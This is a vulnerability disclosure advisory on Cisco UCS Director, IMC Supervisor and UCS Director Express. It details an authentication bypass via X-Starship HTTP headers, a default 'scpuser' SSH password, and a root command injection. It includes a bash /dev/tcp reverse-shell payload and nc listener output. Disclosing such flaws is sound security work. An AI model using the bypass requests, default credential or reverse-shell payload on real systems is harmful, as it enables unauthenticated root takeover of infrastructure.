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Cisco UCS / IMC Supervisor Authentication Bypass / Command Injection

Cisco UCS / IMC Supervisor Authentication Bypass / Command Injection
Posted Aug 28, 2019
Authored by Pedro Ribeiro

Cisco UCS Director, Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data suffer from default password, authentication bypass, and command injection vulnerabilities.

tags | exploit, vulnerability, bypass
systems | cisco
advisories | CVE-2019-1935, CVE-2019-1936, CVE-2019-1937
SHA-256 | 38e7a01258bfec09b0882ac7dbf7cd123357ef8737f810d17b3e0ebf1d0c844e

Cisco UCS / IMC Supervisor Authentication Bypass / Command Injection

Change Mirror Download
>> Multiple critical vulnerabilities in Cisco UCS Director, Cisco
Integrated Management Controller Supervisor and Cisco UCS Director
Express for Big Data
>> Discovered by Pedro Ribeiro (pedrib@gmail.com) from Agile Information
Disclosure: 21/08/2019 / Last updated: 22/08/2019

>> Executive summary:
Cisco UCS Director (UCS) is a cloud orchestration product that automates
common private cloud infrastructure management functions. It is built
using Java and a variety of other technologies and distributed as a
Linux based virtual appliance. A demo of the UCS virtual appliance can
be freely downloaded from Cisco's website [1].

Due to several coding errors, it is possible for an unauthenticated
remote attacker with no privileges to bypass authentication and abuse a
password change function to inject arbitrary commands and execute code
as root.
In addition, there is a default unprivileged user with a known password
that can login via SSH and execute commands on the virtual appliance
provided by Cisco.
Two Metasploit modules were released with this advisory, one that
exploits the authentication bypass and command injection, and another
that exploits the default SSH password.

Please note that according to Cisco [2] [3] [4], all three
vulnerabilities described in this advisory affect Cisco UCS Director,
Cisco Integrated Management Controller Supervisor and Cisco UCS Director
Express for Big Data. However, Agile Information Security only tested
Cisco UCS Director.

Agile Information Security would like to thank Accenture Security
(previously iDefense) [5] for handling the disclosure process with Cisco.

>> Vendor description [6]:
"Cisco UCS Director delivers a foundation for private cloud
Infrastructure as a Service (IaaS). It is a heterogeneous management
platform that features multivendor task libraries with more than 2500
out-of-the-box workflow tasks for end-to-end converged and
hyperconverged stack automation.
You can extend your capabilities to:
- Automate provisioning, orchestration, and management of Cisco and
third-party infrastructure resources
- Order resources and services from an intuitive self-service portal
- Automate security and isolation models to provide repeatable services
- Standardize and automate multitenant environments across shared
infrastructure instances"

>> Technical details:
Vulnerability: Web Interface Authentication Bypass / CWE-287
Cisco Bug ID: CSCvp19229 [2]
Risk Classification: Critical
Attack Vector: Remote
Constraints: No authentication required
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and
6.7.0, see [2] for Cisco's list of affected versions

UCS exposes a management web interface on ports 80 and 443 so that users
of UCS can perform cloud management functions.
Due to a number of coding errors and bad practices, it is possible for
an unauthenticated attacker to obtain an administrative session by
bypassing authentication.
The following sequence of requests and responses shows the
authentication bypass works.

1.1) First we send a request to ClientServlet to check our
authentication status:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
X-Requested-With: XMLHttpRequest

... to which the server responds with a redirect to the login page since
we are not authenticated:
HTTP/1.1 302 Found
Content-Length: 0
Server: Web

1.2) We now follow the redirection to obtain a JSESSIONID cookie:
GET /app/ui/login.jsp HTTP/1.1
X-Requested-With: XMLHttpRequest

And the server responds with our cookie:
HTTP/1.1 200 OK
Path=/app; Secure; HttpOnly
Server: Web

1.3) Then we repeat the request from 1.1), but this time with the
JSESSIONID cookie obtained in 1.2):
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
X-Requested-With: XMLHttpRequest

... and we still get redirected to the login page, as in step 1.1):
HTTP/1.1 302 Found
Content-Length: 0
Server: Web

1.4) To completely bypass authentication, we just need to send the
JSESSIONID cookie with added X-Starship-UserSession-Key and
X-Starship-Request-Key HTTP headers set to random values:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
X-Starship-UserSession-Key: ble
X-Starship-Request-Key: bla
X-Requested-With: XMLHttpRequest

HTTP/1.1 200 OK
Path=/app; Secure; HttpOnly
Connection: close
Server: Web
Content-Length: 428


... and just like that, we can see from the information the server
returned that we are logged in as the "admin" user! From now on, we need
to use the new JSESSIONID cookie returned by the server in 1.4) to have
full administrative access to the UCS web interface.

To summarise, our exploit needs to:
a) obtain a JSESSIONID cookie
b) "authenticate" it by sending a request to ClientServlet with the
X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set
to random values
c) use the new JSESSIONID cookie returned in b) as the "admin"
authenticated cookie

In some cases, the server will authenticate the old cookie and not
return a new one, but the effect is the same - the "old" JSESSIONID
cookie will be authenticated as an "admin" cookie.

Let's dig into the decompiled code, and see what is happening under the

All the coding errors that make this possible are in the class
com.cloupia.client.web.auth.AuthenticationFilter, which as a
javax.servlet.Filter subclass whose doFilter() function is invoked on
every request that the server receives (as configured by the web

A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter()
is shown below, with comments preceded with ^^^:

public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain) {
httpRequest = (HttpServletRequest)request;
logger.debug("doFilter url: " +
boolean isAuthenticated = this.authenticateUser(httpRequest);
^^^ 1.5) invokes authenticateUser() (function shown below)

String samlLogoutRequest;
if(!isAuthenticated) {
^^^ 1.6) if authenticateUser() returns false, we go into
this branch

samlLogoutRequest = request.getParameter("SAMLResponse");
logger.info("samlResponse-->" + samlLogoutRequest);
if(samlLogoutRequest != null) {
this.handleSAMLReponse(request, response, chain,
} else {
^^^ 1.7) if there is no SAMLResponse HTTP parameter,
we go into this branch

HttpSession session;
ProductAccess userBean;
String requestedUri;
if(this.isStarshipRequest(httpRequest)) {
^^^ 1.8) checks if isStarshipRequest() returns
true (function shown below)

session = null !=
userBean =
if(userBean == null) {
^^^ 1.9) if there is no session server side
for this request, follow into this branch...

try {
userBean = new ProductAccess();



^^^ 1.10) and create a new session
with the user as "admin"!

requestedUri =
if(requestedUri != null &&
requestedUri.equalsIgnoreCase("admin")) {
AuthenticationManager authmgr =


logger.info("userBean:" +
} catch (Exception var12) {
logger.info("username/password wrong for
rest api access - " + var12.getMessage());

logger.info("userBean: " +

chain.doFilter(request, response);

As it can be read in the inline comments in the function above, our
first hurdle at 1.5) is to make authenticateUser() return false:

private boolean authenticateUser(HttpServletRequest request) {
boolean isValidUser = false;
HttpSession session = null;
session = request.getSession(false);
^^^ 1.11) get the session for this request

if(session != null) {
ProductAccess user =
if(user != null) {
isValidUser = true;
if(this.isStarshipRequest(request) &&
!user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) {
isValidUser = false;
} else {
- User " + user.getLoginName() + " has been previously authenticated");
} else {
logger.info("AuthenticationFilter:authenticateUser - session
is null");
^^^ 1.12) no session found, return isValidUser which is
false as set at the start of the function


return isValidUser;

This is easily done, and it works as expected - we do not have a
session, so at 1.11) the session is null, and then we go into 1.12)
which makes the function return false.

We now go back to the doFilter() function, and go into the branch in
1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into
the 1.7) branch.
Now we get to the critical part in 1.8). Here, isStarshipRequest() is
invoked, and if it returns true, the server will create an "admin"
session for us...

private boolean isStarshipRequest(HttpServletRequest httpRequest) {
return null !=
httpRequest.getHeader("X-Starship-UserSession-Key") && null !=

isStarshipRequest() is shown above, and clearly the only thing we need
to do to make it return true is to set the X-Starship-UserSession-Key
and X-Starship-Request-Key HTTP headers.

We then follow into 1.9) and 1.10), and we get our administrative
session without having any credentials at all!
Moreover, the session is completely stealthy and invisible to other
users, as it does not appear in Administration -> Users and Groups ->
All Users Login History nor in Administration -> Users and Groups ->
Current Online Users.

Vulnerability: Default password for 'scpuser' / CWE-798
Cisco Bug ID: CSCvp19251 [3]
Risk Classification: Critical
Attack Vector: Remote
Constraints: requires auth, does not, etc
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and
6.7.0, see [3] for Cisco's list of affected versions

The UCS virtual appliance is configured with a user 'scpuser' that is
supposed to be used for scp file transfer between UCS appliances and
other Cisco modules.

According to Cisco's documentation [7]:
"An SCP user is used by server diagnostics and tech support upload
operations for transferring files to the Cisco IMC Supervisor appliance
using the SCP protocol. An scp user account cannot be used to login to
the Cisco IMC Supervisor UI or the shelladmin."

The web interface contains functionality to change the user password for
the 'scpuser' in Administration -> Users and Groups -> SCP User
Configuration, and in this page it says:
"The 'scpuser' will be configured on this appliance in order to enable
file transfer operations via the 'scp' command. This user account cannot
be used to login to the GUI or shelladmin"

Apparently this is not true and not only the user can log in via SSH per
default, but it does so with a default password of 'scpuser' if it not
changed by the administrator after installation:
UCS > ssh scpuser@
Password: <scpuser>
[scpuser@localhost ~]$ whoami

Vulnerability: Authenticated command injection via the web interface as
root (CWE-78)
Cisco Bug ID: CSCvp19245 [4]
Risk Classification: Critical
Attack Vector: Remote
Constraints: requires authentication to the UCS web interface
Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7,
see [4] for Cisco's list of affected versions

As shown in #2, the web interface contains functionality to change the
user password for the 'scpuser' in Administration -> Users and Groups ->
SCP User Configuration.

This is handled by the Java class
com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in
doFormSubmit(), which is shown below, with my markers and comments
preceded with ^^^:

public FormResult doFormSubmit(String user, ReportContext context,
String formId, FormFieldData[] data) throws Exception {
logger.info((Object)"doFormSubmit invoked ");
FormResult result = this.validateForm(context,
this.getDefinition(), formId, data, true);
if (result.getStatus() == 0) {
try {
SCPUserConfig existingConfig;
FormFieldDataList datalist = new FormFieldDataList(data);
String password =
^^^ 3.1) gets "password" from the form sent by
the user
SCPUserConfig newSCPUserConfig = new SCPUserConfig();
if ("**********".equals(password) && (existingConfig =
CIMCPersistenceUtil.getSCPUserConfig()) != null) {

Process p = Runtime.getRuntime().exec(new
String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password +
"\" | (passwd --stdin " + "scpuser" + ")"});
^^^ 3.2) runs /bin/sh with "password" argument

return result;
catch (Exception ex) {
return result;
return result;

In 3.1) we see that the function gets the "password" field from the from
sent by the user, and in 3.2) it passes this input directly to
Runtime.getRuntime().exec(), which leads to a clear command injection.
This is run as root, as the web server runs as root and superuser access
would be necessary anyway to change a password of another user.

To obtain a reverse shell, we can send the following payload to
ClientServlet, which will then invoke the
POST /app/ui/ClientServlet HTTP/1.1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 945


In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >&
/dev/tcp/ 0>&1`", which returns a reverse shell to host on port 4444 running as root:

UCS > nc -lvkp 4444
Listening on [] (family 0, port 4444)
Connection from 55432 received!
bash: no job control in this shell
[root@localhost inframgr]# whoami

>> Exploitation summary:
By chaining vulnerability #1 (authentication bypass) with vulnerability
#3 (authenticated command injection as root), it is clear that an
unauthenticated attacker with no privileges on the system can execute
code as root, leading to total compromise of Cisco UCS Director.

>> Vulnerability Fixes / Mitigation:
According to Cisco [2] [3] [4] the three vulnerabilities described in
this advisory were fixed in the product versions described below:
Cisco IMC Supervisor releases and later
Cisco UCS Director releases and later (recommended:
Cisco UCS Director Express for Big Data releases and later

>> References:
[5] https://www.accenture.com/us-en/service-idefense-security-intelligence

>> Disclaimer:
Please note that Agile Information Security (Agile InfoSec) relies on
information provided by the vendor when listing fixed versions or
products. Agile InfoSec does not verify this information, except when
specifically mentioned in this advisory or when requested or contracted
by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is
the vendor's responsibility to ensure the vulnerabilities found by Agile
Information Security are resolved properly.
Agile Information Security Limited does not accept any responsibility,
financial or otherwise, from any material losses, loss of life or
reputational loss as a result of misuse of the information or code
contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security
before, during and after release to market.

All information, code and binary data in this advisory is released to
the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that
has a license which is incompatible with GPLv3, the original license
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html

Agile Information Security Limited
>> Enabling secure digital business.
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist

PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C

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